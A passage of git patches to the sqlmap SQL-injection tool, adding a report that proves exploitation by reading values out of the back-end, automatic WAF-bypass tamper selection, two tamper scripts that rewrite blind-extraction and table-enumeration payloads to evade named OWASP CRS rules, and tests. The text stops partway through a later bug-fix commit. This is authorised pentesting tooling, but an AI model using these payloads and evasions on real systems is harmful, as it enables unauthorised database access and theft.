SLEEP_TIME_MARKER in vector): + retVal.append(_baselineStatement()) + return retVal + + n = randomInt() + base = conf.timeSec or 5 + measurements = [] + + benign = [] + for _ in range(3): + try: + Request.queryPage(timeBasedCompare=True, raise404=False, silent=True) + benign.append(getCurrentThreadData().lastQueryDuration) + except Exception: + pass + for k in (0, base, 2 * base): + pushValue(conf.timeSec) + conf.timeSec = k + try: + query = agent.suffixQuery(agent.prefixQuery(vector.replace(INFERENCE_MARKER, "%d=%d" % (n, n)))) + Request.queryPage(agent.payload(newValue=query), timeBasedCompare=True, raise404=False, silent=True) + measurements.append((k, getCurrentThreadData().lastQueryDuration)) + except Exception: + measurements.append((k, None)) + finally: + conf.timeSec = popValue() + + if any(d is None for _, d in measurements): + retVal.append(_baselineStatement()) + return retVal + + d0, dT, d2T = (measurements[0][1], measurements[1][1], measurements[2][1]) + baseAvg = average(benign) if benign else d0 + baseStd = stdev(benign) if len(benign) >= 2 else 0.0 + + # only claim 1:1 scaling if the measurements actually track the injected seconds: 0s stays near baseline, + # Ts ~ T, 2Ts ~ 2T, monotonic. A heavy-query delay (e.g. SQLite RANDOMBLOB) also rides [SLEEPTIME] but + # does NOT scale linearly, so it must NOT be rendered as 1:1 (its sweep is noisy / non-monotonic) + linear = d0 < max(0.5, base * 0.5) and abs(dT - base) <= base * 0.5 and abs(d2T - 2 * base) <= base * 0.6 and d2T > dT + + if linear: + retVal.append("normal response ~%.3fs (jitter ~%.3fs); injected delay %s" % (baseAvg, baseStd, " ".join("%ds -> %.2fs" % (k, d) for k, d in measurements))) + retVal.append("the response slows ~1:1 with the injected delay - a controlled delay that network latency or a slow page cannot reproduce (the 0s case returns at normal speed)") + else: + retVal.append("a TRUE condition makes the response take ~%.2fs versus ~%.3fs normal (jitter ~%.3fs), repeatably" % (max(dT, d2T), baseAvg, baseStd)) + retVal.append("a FALSE condition returns at normal speed - a sustained delay neither network latency nor a slow page reproduces") + + return retVal + + +def _retrieveProof(): + """ + Reads values back through the injection to prove it - DBMS-agnostic, weakest-to-strongest: + + 1. a random arithmetic product (e.g. 48391*60128): every SQL engine evaluates it, it needs no + table/function/FROM (valid even on Oracle), so its WAF surface is tiny - yet the operands are + random, so reading the exact product back proves the back-end actually executed injected SQL + (not a reflected constant); + 2. the DBMS banner: a real datum the application never returns on its own (the strongest proof). + + Whatever evasion the run already adopted (tamper scripts) applies here too - this is not tied to any one + DBMS or tamper. Returns a list of (label, text) rungs; both, one, or none may be present. + """ + + from lib.request import inject + + retVal = [] + + a, b = randomInt(4), randomInt(4) # 4-digit operands: product stays < 2^31 so it never overflows a 32-bit INT (e.g. PostgreSQL int4), yet is unguessable + try: + result = inject.getValue("%d*%d" % (a, b), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS, resumeValue=False, suppressOutput=True) + except Exception: + result = None + if result is not None and ("%s" % result).strip() == str(a * b): + retVal.append(("Computed", "%d*%d = %d returned by the back-end - it executed the injected SQL (works on any DBMS)" % (a, b, a * b))) + + label = value = None + for requested, candidate, lbl in ( # reuse a value the user's own switches already pulled + (conf.getBanner, getattr(kb.data, "banner", None), "back-end DBMS banner"), + (conf.getCurrentUser, getattr(kb.data, "currentUser", None), "current database user"), + (conf.getCurrentDb, getattr(kb.data, "currentDb", None), "current database"), + ): + if requested and candidate: + label, value = lbl, unArrayizeValue(candidate) + break + + if value is None: + dbms = Backend.getIdentifiedDbms() + banner = getattr(queries.get(dbms), "banner", None) if dbms else None + query = getattr(banner, "query", None) if banner else None + if query: + try: + value = unArrayizeValue(inject.getValue(query, safeCharEncode=False, suppressOutput=True)) + label = "back-end DBMS banner" + except Exception: + value = None + + if value: + retVal.append(("Retrieved", "%s %s - a real value read out of the back-end (the strongest proof)" % (label, repr(value).lstrip('u')))) + + return retVal + + +def proveExploitation(): + """ + Renders a report-grade, best-effort demonstration of exploitation for the confirmed injection point + (option '--prove'), in the same style as sqlmap's injection-point summary so it reads naturally: the + target URL and the confirmed injection point (parameter / type / title / payload), then the strongest + proof first - an actual value read out of the back-end (drilling from the plain read to a more evasive + one so a WAF/IPS does not stop it) - backed by a deterministic boolean differential (rendered with the + distinguishing --string/--code/--title signal) or a statistical time-based demonstration. Written both + to stdout and to '<output>/proof.txt'. + """ + + if not kb.injections or not any(getattr(_, "place", None) for _ in kb.injections): + return + + injection = kb.injection if getattr(kb.injection, "place", None) else kb.injections[0] + + saved = _activateInjection(injection) + try: + if PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: + stype = PAYLOAD.TECHNIQUE.BOOLEAN + proof = _proveBoolean(injection) + elif PAYLOAD.TECHNIQUE.TIME in injection.data or PAYLOAD.TECHNIQUE.STACKED in injection.data: + stype = PAYLOAD.TECHNIQUE.TIME if PAYLOAD.TECHNIQUE.TIME in injection.data else PAYLOAD.TECHNIQUE.STACKED + proof = _proveTime(injection) + elif PAYLOAD.TECHNIQUE.ERROR in injection.data: + stype = PAYLOAD.TECHNIQUE.ERROR + proof = ["the back-end error message returns the requested value directly"] + elif PAYLOAD.TECHNIQUE.UNION in injection.data: + stype = PAYLOAD.TECHNIQUE.UNION + proof = ["the requested value is rendered inside the application response"] + else: + stype = next(iter(injection.data), None) + proof = [] + + rungs = _retrieveProof() + finally: + _restoreInjection(saved) + + from lib.core.agent import agent + + target = conf.url or "" + if conf.parameters.get(PLACE.GET) and "?" not in target: # spell out the full GET target, not just the path + target += "?%s" % conf.parameters[PLACE.GET] + + paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else injection.place + sdata = injection.data.get(stype) + + fields = [_field("Target", target)] + if conf.parameters.get(PLACE.POST): + fields.append(_field("Data", conf.parameters[PLACE.POST])) + fields.append(_field("Parameter", "%s (%s)" % (injection.parameter, paramType))) + if sdata is not None: + fields.append(_field("Technique", PAYLOAD.SQLINJECTION[stype])) + if sdata.payload: + payload = urldecode(agent.adjustLateValues(sdata.payload), unsafe="&", spaceplus=(injection.place != PLACE.GET and kb.postSpaceToPlus)) + fields.append(_field("Payload", payload)) + if proof: + fields.append(_field("Proof", proof)) + if rungs: + for label, text in rungs: + fields.append(_field(label, text)) + else: + fields.append(_field("Retrieved", "(no value could be read back; the proof above still confirms exploitation)")) + + data = "\n".join(fields) + header = "sqlmap proved exploitation of the following injection point" + conf.dumper.string(header, data) + + try: + path = os.path.join(conf.outputPath or ".", "proof.txt") + with openFile(path, "w+") as f: + f.write("%s:\n---\n%s\n---\n" % (header, data)) + logger.info("proof of exploitation written to '%s'" % path) + except Exception: + pass diff --git a/lib/utils/wafbypass.py b/lib/utils/wafbypass.py new file mode 100644 index 000000000..f50fea9f5 --- /dev/null +++ b/lib/utils/wafbypass.py @@ -0,0 +1,156 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import base64 +import json +import os +import struct +import sys + +from lib.core.common import fetchRandomAgent +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import paths +from lib.core.enums import HTTP_HEADER +from lib.core.enums import PLACE +from lib.core.settings import WAF_BYPASS_HTTP_HEADERS +from lib.core.settings import WAF_BYPASS_TAMPERS + + +def neutralizeFingerprint(): + """ + Makes the request look like a real browser (random non-scanner User-Agent from the canonical + 'txt/user-agents.txt' - the same source as switch '--random-agent' - plus browser Accept/Accept-Language), + used by automatic WAF-bypass. The per-request User-Agent is sourced from conf.parameters[PLACE.USER_AGENT] + (queryPage passes it explicitly, overriding conf.agent), so that is the authoritative knob; conf.agent + and the HTTP header list are updated too. Returns the previous state so the change can be reverted. + """ + + saved = (conf.agent, conf.httpHeaders, conf.parameters.get(PLACE.USER_AGENT)) + + userAgent = fetchRandomAgent() + + conf.agent = userAgent + if PLACE.USER_AGENT in conf.parameters: + conf.parameters[PLACE.USER_AGENT] = userAgent + + overrides = dict(((HTTP_HEADER.USER_AGENT, userAgent),) + tuple(WAF_BYPASS_HTTP_HEADERS)) + upper = dict((_.upper(), _) for _ in overrides) + headers, seen = [], set() + for header, hvalue in conf.httpHeaders: + if header.upper() in upper: + headers.append((header, overrides[upper[header.upper()]])) + seen.add(header.upper()) + else: + headers.append((header, hvalue)) + for header, hvalue in overrides.items(): + if header.upper() not in seen: + headers.append((header, hvalue)) + conf.httpHeaders = headers + + return saved + +# identYwaf encodes each fingerprint as a packed array of 16-bit words, one per provocation +# vector, where the LOW bit marks whether that vector was blocked (lib/../identywaf/identYwaf.py: +# struct.pack(">H", (hash << 1) | blocked)). Decoding the bundled per-WAF signatures therefore +# yields, for free, which constructs a known WAF actually blocks - an empirical prior for picking +# bypass tampers. The two indices below (from data.json "payloads") are the ones we key decisions +# on: comment-obfuscated payloads (whether comment-insertion tampers stand any chance). +_IDENTYWAF_COMMENT_VECTORS = (2, 3, 13) # "1/**/AND/**/1", "1/*0AND*/1", "1/**/UNION/**/SELECT.../information_schema.*" + +_DATA = None + + +def _data(): + global _DATA + if _DATA is None: + path = os.path.join(paths.SQLMAP_ROOT_PATH, "thirdparty", "identywaf", "data.json") + with open(path, "rb") as f: + _DATA = json.loads(f.read().decode("utf-8")) + return _DATA + + +def identYwafBlockedVectors(wafName): + """ + Returns the set of provocation-vector indices that the given (identYwaf) WAF blocks, decoded + from its bundled blind signatures (majority vote across signature variants). Empty set if the + WAF/signatures are unknown. + + >>> isinstance(identYwafBlockedVectors("cloudflare"), set) + True + """ + + retVal = set() + + wafs = _data().get("wafs", {}) + info = wafs.get(wafName) or wafs.get((wafName or "").lower()) + if not info: + return retVal + + expected = len(_data().get("payloads", [])) + counts, total = {}, 0 + for signature in info.get("signatures", []): + try: + raw = base64.b64decode(signature.split(':', 1)[-1]) + except Exception: + continue + words = struct.unpack(">%dH" % (len(raw) // 2), raw) if len(raw) >= 2 else () + if len(words) != expected: # only consider signatures over the current vector set + continue + total += 1 + for index, word in enumerate(words): + if word & 1: + counts[index] = counts.get(index, 0) + 1 + + if total: + retVal = set(index for index, c in counts.items() if c * 2 >= total) # blocked in a majority of variants + + return retVal + + +def candidateTampers(identifiedWafs=None): + """ + Returns the ordered list of candidate tamper-script names for automatic WAF bypass: the + empirically-ranked WAF_BYPASS_TAMPERS, with comment-insertion camouflage pruned when the + identified WAF is known to block comment-obfuscated payloads (so requests aren't wasted on + tampers that can't help). Semantics (and DBMS compatibility) are verified at runtime by + re-running detection through each candidate, so no DBMS pre-filtering is needed here. + + >>> "between" in candidateTampers() + True + >>> "equaltolike" in candidateTampers() + True + """ + + retVal = list(WAF_BYPASS_TAMPERS) + + blocked = set() + for waf in (identifiedWafs or []): + blocked |= identYwafBlockedVectors(waf) + + if blocked and any(_ in blocked for _ in _IDENTYWAF_COMMENT_VECTORS): + retVal = [_ for _ in retVal if not _.startswith("space2") and _ != "versionedkeywords"] + + return retVal + + +def loadTamper(name): + """ + Imports a tamper script by name from the tamper directory and returns its 'tamper' function + (or None if missing). Mirrors the loader in option._setTamperingFunctions, for runtime use. + """ + + dirname = paths.SQLMAP_TAMPER_PATH + if dirname not in sys.path: + sys.path.insert(0, dirname) + + module = __import__(str(name)) + function = getattr(module, "tamper", None) + if function is not None: + function.__name__ = name + + return function diff --git a/tamper/blindbinary.py b/tamper/blindbinary.py new file mode 100644 index 000000000..41f0d7bd7 --- /dev/null +++ b/tamper/blindbinary.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def _balancedEnd(payload, start): + """Index of the ')' matching the '(' at payload[start] (or -1).""" + depth = 0 + idx = start + while idx < len(payload): + if payload[idx] == '(': + depth += 1 + elif payload[idx] == ')': + depth -= 1 + if depth == 0: + return idx + idx += 1 + return -1 + +def _reshape(payload, opener, tail, build): + """Replace every 'opener(<balanced query>)<tail>' with build(query, tail-match).""" + retVal = payload + pos = 0 + while True: + match = re.search(opener, retVal[pos:]) + if not match: + break + start = pos + match.start() + cursor = pos + match.end() # should sit on the '(' of the query argument + if cursor >= len(retVal) or retVal[cursor] != '(': + pos = pos + match.end() + continue + end = _balancedEnd(retVal, cursor) + if end < 0: + pos = pos + match.end() + continue + query = retVal[cursor:end + 1] # '(<query>)' + rest = re.match(tail, retVal[end + 1:]) + if not rest: + pos = pos + match.end() + continue + replacement = build(query, rest) + retVal = retVal[:start] + replacement + retVal[end + 1 + rest.end():] + pos = start + len(replacement) + return retVal + +def tamper(payload, **kwargs): + """ + Rewrites blind single-character reads into a firewall-transparent, byte-ordered comparison that + sheds the function names anomaly-scoring WAFs key on: + + * MySQL: ORD(MID((<q>),<p>,1))><n> + -> RIGHT(LEFT((<q>),<p>),(<p><=CHAR_LENGTH((<q>))))>BINARY 0x<nn> + * SQL Server: UNICODE(SUBSTRING((<q>),<p>,1))><n> (also ASCII(SUBSTRING(...))) + -> CAST(RIGHT(LEFT((<q>),<p>),CASE WHEN <p><=LEN((<q>)) THEN 1 ELSE 0 END) AS VARBINARY)>0x<nn> + + Requirement: + * MySQL or Microsoft SQL Server + + Notes: + * Bypasses anomaly-scoring WAFs (e.g. OWASP CRS) that score the function names + ORD/MID/ASCII/SUBSTRING/UNICODE (rule 942151) and the function-comparison shape (942190). + LEFT/RIGHT are not in those blocklists, so the cumulative score collapses (often to 0) while + the single-character, byte-ordered semantics of the bisection are preserved. + * MySQL 'BINARY' / SQL Server '... AS VARBINARY' force a byte (case- and accent-sensitive) + comparison, so extraction stays exact under a case-insensitive default collation. Both use a + native hex literal (0x<nn>), so nothing needs string-escaping. + * The character count is guarded (1 inside the string, 0 past its end), so a position beyond the + end yields RIGHT(...,0)='' which compares below every byte - the NULL terminator that stops + extraction, exactly like the original. A constant 1 would keep returning the last character + forever and never terminate. + + >>> tamper('1 AND ORD(MID((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1),5,1))>71') + '1 AND RIGHT(LEFT((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1),5),(5<=CHAR_LENGTH((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1))))>BINARY 0x47' + >>> tamper('1 AND ORD(MID((SELECT 1),1,1))>0') + '1 AND RIGHT(LEFT((SELECT 1),1),(1<=CHAR_LENGTH((SELECT 1))))>BINARY 0x00' + >>> tamper('1 AND 5141=5141') + '1 AND 5141=5141' + >>> tamper('1 AND ORD(MID((SELECT 1),1,1))<65') + '1 AND RIGHT(LEFT((SELECT 1),1),(1<=CHAR_LENGTH((SELECT 1))))<BINARY 0x41' + >>> tamper('1 AND UNICODE(SUBSTRING((SELECT TOP 1 name FROM users),3,1))>64') + '1 AND CAST(RIGHT(LEFT((SELECT TOP 1 name FROM users),3),CASE WHEN 3<=LEN((SELECT TOP 1 name FROM users)) THEN 1 ELSE 0 END) AS VARBINARY)>0x40' + """ + + if not payload: + return payload + + def _mysql(query, rest): + position, operator, value = rest.group(1), rest.group(2), int(rest.group(3)) + return "RIGHT(LEFT(%s,%s),(%s<=CHAR_LENGTH(%s)))%sBINARY 0x%02x" % (query, position, position, query, operator, value) + + def _mssql(query, rest): + position, operator, value = rest.group(1), rest.group(2), int(rest.group(3)) + # shed sqlmap's SQL Server retrieval wrapper 'ISNULL(CAST(<x> AS NVARCHAR(<n>)),CHAR(<m>))' -> '(<x>)': + # CHAR()/CAST are themselves scored by ASCII/SUBSTRING-class WAFs (unlike MySQL's 0x20 hex), so for a + # clean inner query the whole read goes function-free (NULLs then read as end-of-string) + query = re.sub(r"(?i)ISNULL\(CAST\((.+?) AS NVARCHAR\(\d+\)\),\s*CHAR\(\d+\)\)", r"(\1)", query) + return "CAST(RIGHT(LEFT(%s,%s),CASE WHEN %s<=LEN(%s) THEN 1 ELSE 0 END) AS VARBINARY)%s0x%02x" % (query, position, position, query, operator, value) + + comma_tail = r"\s*,\s*(\d+)\s*,\s*1\)\)\s*(>=|<=|>|<|=)\s*(\d+)" + retVal = _reshape(payload, r"(?i)ORD\(MID\(", comma_tail, _mysql) + retVal = _reshape(retVal, r"(?i)(?:UNICODE|ASCII)\(SUBSTRING\(", comma_tail, _mssql) + return retVal diff --git a/tamper/infoschema2innodb.py b/tamper/infoschema2innodb.py new file mode 100644 index 000000000..053242cc5 --- /dev/null +++ b/tamper/infoschema2innodb.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Rewrites MySQL table-enumeration off 'information_schema.tables' onto the InnoDB statistics + table 'mysql.innodb_table_stats' (table_schema -> database_name), to dodge WAF rules that flag + the 'information_schema' name (e.g. OWASP CRS 942140 'common DB names') + + Requirement: + * MySQL + + Notes: + * 'information_schema' is a hard token for anomaly-scoring WAFs (CRS rule 942140), so table + enumeration is blocked even when the single-character read itself is not. 'mysql.innodb_table_stats' + exposes (database_name, table_name) for every InnoDB table and is NOT on those blocklists, so the + same enumeration passes. Pair with 'blindbinary' to also get the per-character read through. + * Only InnoDB tables are listed (no MyISAM/MEMORY tables, no views) and SELECT on the 'mysql' + schema is required (granted to root and most admin users). + * Column enumeration (information_schema.columns) has no such InnoDB equivalent; provide the + columns explicitly (-C) when behind such a WAF, or fall back to common-columns brute forcing. + + >>> tamper('SELECT table_name FROM information_schema.tables WHERE table_schema=0x6d6173746572 LIMIT 0,1') + 'SELECT table_name FROM mysql.innodb_table_stats WHERE database_name=0x6d6173746572 LIMIT 0,1' + >>> tamper('SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x61') + 'SELECT COUNT(table_name) FROM mysql.innodb_table_stats WHERE database_name=0x61' + >>> tamper('1 AND 1=1') + '1 AND 1=1' + """ + + retVal = payload + + if retVal and re.search(r"(?i)information_schema\.tables", retVal): + retVal = re.sub(r"(?i)information_schema\.tables", "mysql.innodb_table_stats", retVal) + retVal = re.sub(r"(?i)table_schema", "database_name", retVal) + + return retVal diff --git a/tests/test_wafbypass.py b/tests/test_wafbypass.py new file mode 100644 index 000000000..9e69ef25a --- /dev/null +++ b/tests/test_wafbypass.py @@ -0,0 +1,81 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +T1 - automatic WAF-bypass tamper selection (lib/utils/wafbypass.py). These cover the pure, +offline pieces: the identYwaf blind-signature decoder (which provocation vectors a known WAF +blocks), the data-ranked / DBMS-filtered / identYwaf-pruned candidate ordering, and the runtime +tamper loader. The end-to-end "adopt a tamper that restores detection" behaviour is exercised by +the --auto-tamper vuln-test case (lib/core/testing.py) against the vulnserver WAF emulator. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils.wafbypass import candidateTampers, identYwafBlockedVectors, loadTamper + + +class TestIdentYwafDecoder(unittest.TestCase): + def test_known_waf_decodes_to_blocked_vectors(self): + # cloudflare has bundled blind signatures -> a non-trivial set of blocked vector indices, + # all within range of the 45 provocation vectors + blocked = identYwafBlockedVectors("cloudflare") + self.assertTrue(len(blocked) > 5) + self.assertTrue(all(isinstance(_, int) and 0 <= _ < 45 for _ in blocked)) + + def test_unknown_waf_is_empty(self): + self.assertEqual(identYwafBlockedVectors("definitely-not-a-real-waf"), set()) + self.assertEqual(identYwafBlockedVectors(None), set()) + + +class TestCandidateRanking(unittest.TestCase): + def test_structural_first(self): + cands = candidateTampers() + # the empirically strongest structural substitutions lead, ahead of camouflage + self.assertEqual(cands[0], "equaltolike") + self.assertIn("between", cands[:3]) + self.assertLess(cands.index("between"), cands.index("space2comment")) + + def test_no_dbms_prefiltering(self): + # DBMS compatibility is verified at runtime (detection re-run through the tamper), not here, + # so the full candidate set is offered regardless of any guessed back-end DBMS + cands = candidateTampers() + self.assertIn("versionedkeywords", cands) + self.assertIn("space2hash", cands) + self.assertIn("between", cands) + + def test_identYwaf_prior_prunes_camouflage(self): + # a WAF whose profile blocks comment-obfuscated vectors should have comment-insertion + # camouflage pruned (it cannot help there), while structural candidates survive + base = candidateTampers() + pruned = candidateTampers(identifiedWafs=["cloudflare"]) + self.assertIn("equaltolike", pruned) + self.assertNotIn("space2comment", pruned) + self.assertLessEqual(len(pruned), len(base)) + + +class TestLoadTamper(unittest.TestCase): + def test_loads_and_applies(self): + fn = loadTamper("between") + self.assertTrue(callable(fn)) + self.assertEqual(fn.__name__, "between") + # the loaded function is the real tamper transform + self.assertEqual(fn(payload="1 AND A>B"), "1 AND A NOT BETWEEN 0 AND B") + + def test_missing_returns_none_or_raises(self): + # a non-existent script must not silently yield a bogus callable + try: + self.assertIsNone(loadTamper("no_such_tamper_script_xyz")) + except Exception: + pass # an import error is also acceptable; what matters is no fake function + + +if __name__ == "__main__": + unittest.main() From 002a28f7f0093a88370726a7396ad63832e91994 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= <miroslav.stampar@gmail.com> Date: Thu, 18 Jun 2026 13:04:59 +0200 Subject: [PATCH 026/165] Couple of bug fixes --- data/txt/sha256sums.txt | 12 ++- data/xml/queries.xml | 2 +- lib/controller/checks.py | 8 ++ lib/core/settings.py | 4 +- lib/utils/dialect.py | 120 ++++++++++++++++++++++++ plugins/dbms/mssqlserver/enumeration.py | 8 +- plugins/generic/databases.py | 4 +- tests/test_dialectdbms.py | 106 +++++++++++++++++++++ 8 files changed, 250 insertions(+), 14 deletions(-) create mode 100644 lib/utils/dialect.py create mode 100644 tests/test_dialectdbms.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 1f1e5bbd0..f6a88d4c8 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -84,7 +84,7 @@ b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/paylo 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -9d7dcbc6c5e368c44db851865ff49c791c3dee1ee62d8c02af8f8b15f4551aed data/xml/queries.xml +38882b6ceb8bca59ce8ed927abe3b8840394c56b3881371c2103e229b8795040 data/xml/queries.xml e043101194219a2e4c8bc352f0d3a04b87e1c28b1bcd6c13f6d5d1c9e260b653 doc/ARCHITECTURE.md 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md @@ -162,7 +162,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py 63657c00a046ca0fb28fd069407ab6305bd7b95c42f26a96ed083fd05b152252 extra/vulnserver/vulnserver.py 3abecaec1a9c59645a4821463a2d761235f7a4f763a491f188a41a083bbddd98 lib/controller/action.py -6574ed70c7fe0ac305dbc85ed7102f648b6a3f42fe2fe6b89172d69717327149 lib/controller/checks.py +72707b5bdfc757c4e5271e156178919292b991a6e7337d3dcdeffea9df6db3ea lib/controller/checks.py dcd4adcd7a2447a624ca7927541941d25767a4581af2d762c3197dc93790f4df lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -f01361d999b0cf89b8418265c4a4962924fcc03a6b87e15b39c0836788725e85 lib/core/settings.py +997888bab1d98fb9bc2550f3ab99df966d37f38719a41a8fb767e2cd79db6c4f lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -246,6 +246,7 @@ aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api. 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps.py +0fd055877e8b21d17c11447dac7f91ef1766e0b04d470c494a6d98f5249e3186 lib/utils/dialect.py 51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75 lib/utils/getch.py 853c3595e1d2efc54b8bfb6ab12c55d1efc1603be266978e3a7d96d553d91a52 lib/utils/gui.py 972c5db9c9e30ac0f91c0f8d4df4531d0304e151dac99f1399c37c952ba9f935 lib/utils/har.py @@ -394,7 +395,7 @@ ba04af3683b9a6e29e8fa6b3bf436a57e59435cebb042414f2df82018d91599e plugins/dbms/m 78f1ff4b82fd4af50e1fbdb81539862f1c31258cda212b39f4a8501960f1b95e plugins/dbms/monetdb/syntax.py 236fd244f0bbc3976b389429a8176feda6c243267564c2a0eff6fc2458c1b3f9 plugins/dbms/monetdb/takeover.py 6bdc774463ac87b1bd1b6a9d5c2346b7edbf40d9848b7870a30d1eaedde4fc51 plugins/dbms/mssqlserver/connector.py -52c19e9067f22f5c386206943d1807af4c661500bf260930a5986e9a180e96c7 plugins/dbms/mssqlserver/enumeration.py +69ba678efde8335efb8a167b63143b4fb65ea19802bc3ade30c87cb979c198e4 plugins/dbms/mssqlserver/enumeration.py 67cd70b64aed27af467682ceae8e20992b6765d2374d5762efb5a4585b8a6f79 plugins/dbms/mssqlserver/filesystem.py 38ade085f9f1b227eda8c89f78e3ce869e8f430c98bef0cc7cbd2c7dcd60c24e plugins/dbms/mssqlserver/fingerprint.py 1ecde09e80d7b709a710281f4983a6831bc02ca3458ae0b97b28446d6db241b4 plugins/dbms/mssqlserver/__init__.py @@ -479,7 +480,7 @@ e2e20e4707abe9ed8b6208837332d2daa4eaca282f847412063f2484dcca8fbd plugins/dbms/v 2b2dad6ba1d344215cad11b629546eb9f259d7c996c202edf3de5ab22418787e plugins/dbms/virtuoso/takeover.py 51c44048e4b335b306f8ed1323fd78ad6935a8c0d6e9d6efe195a9a5a24e46dc plugins/generic/connector.py a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3 plugins/generic/custom.py -37351d6fb7418e3659bec5c9a6f9f181a606deae74d3bc9fb8c97f495449471f plugins/generic/databases.py +6d037861acbbabec529e10c50840820ca7b876c29c69310a571b519c3f3b72fa plugins/generic/databases.py 36b7319ac00f8fe1a33496364a76ff165ea2e66db0150f5366a45135366369ca plugins/generic/entries.py d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5 plugins/generic/enumeration.py a02ac4ebc1cc488a2aa5ae07e6d0c3d5064e99ded7fd529dfa073735692f11df plugins/generic/filesystem.py @@ -581,6 +582,7 @@ a48c411fea864e6bcd6a1c7e1a35094b8cda8d15088fd9e7b0270542ae20daa9 tests/test_com 5016119bdb57094381afdca35ef29a4a6641e26e4b48a9119f1db633e6123d29 tests/test_datafiles.py 9c240d4f796e56376374d4ce46f358ceb7d48cc6a7427760c5bfb89ff01cb545 tests/test_datatypes.py 3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py +9c0a0cd0b2d52a53f75c98c60f87a022354b7c3dc4baaf3fe1e272a0af5b7f0a tests/test_dialectdbms.py e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py 9cd5841349bc4db818658d12184929a96f7f279eff1f53ad18a54dbefbd6b276 tests/test_dump_jsonl.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 0d32e5a07..a7f0dd452 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1321,7 +1321,7 @@ </dbms> <dbms value="ClickHouse"> - <cast query="CAST(%s AS String)"/> + <cast query="CAST(%s AS Nullable(String))"/> <length query="length(%s)"/> <isnull query="ifNull(%s, '')"/> <delimiter query="||"/> diff --git a/lib/controller/checks.py b/lib/controller/checks.py index f74acb796..71d86f054 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -100,6 +100,7 @@ from lib.request.connect import Connect as Request from lib.request.comparison import comparison from lib.request.inject import checkBooleanExpression from lib.request.templates import getPageTemplate +from lib.utils.dialect import dialectCheckDbms from 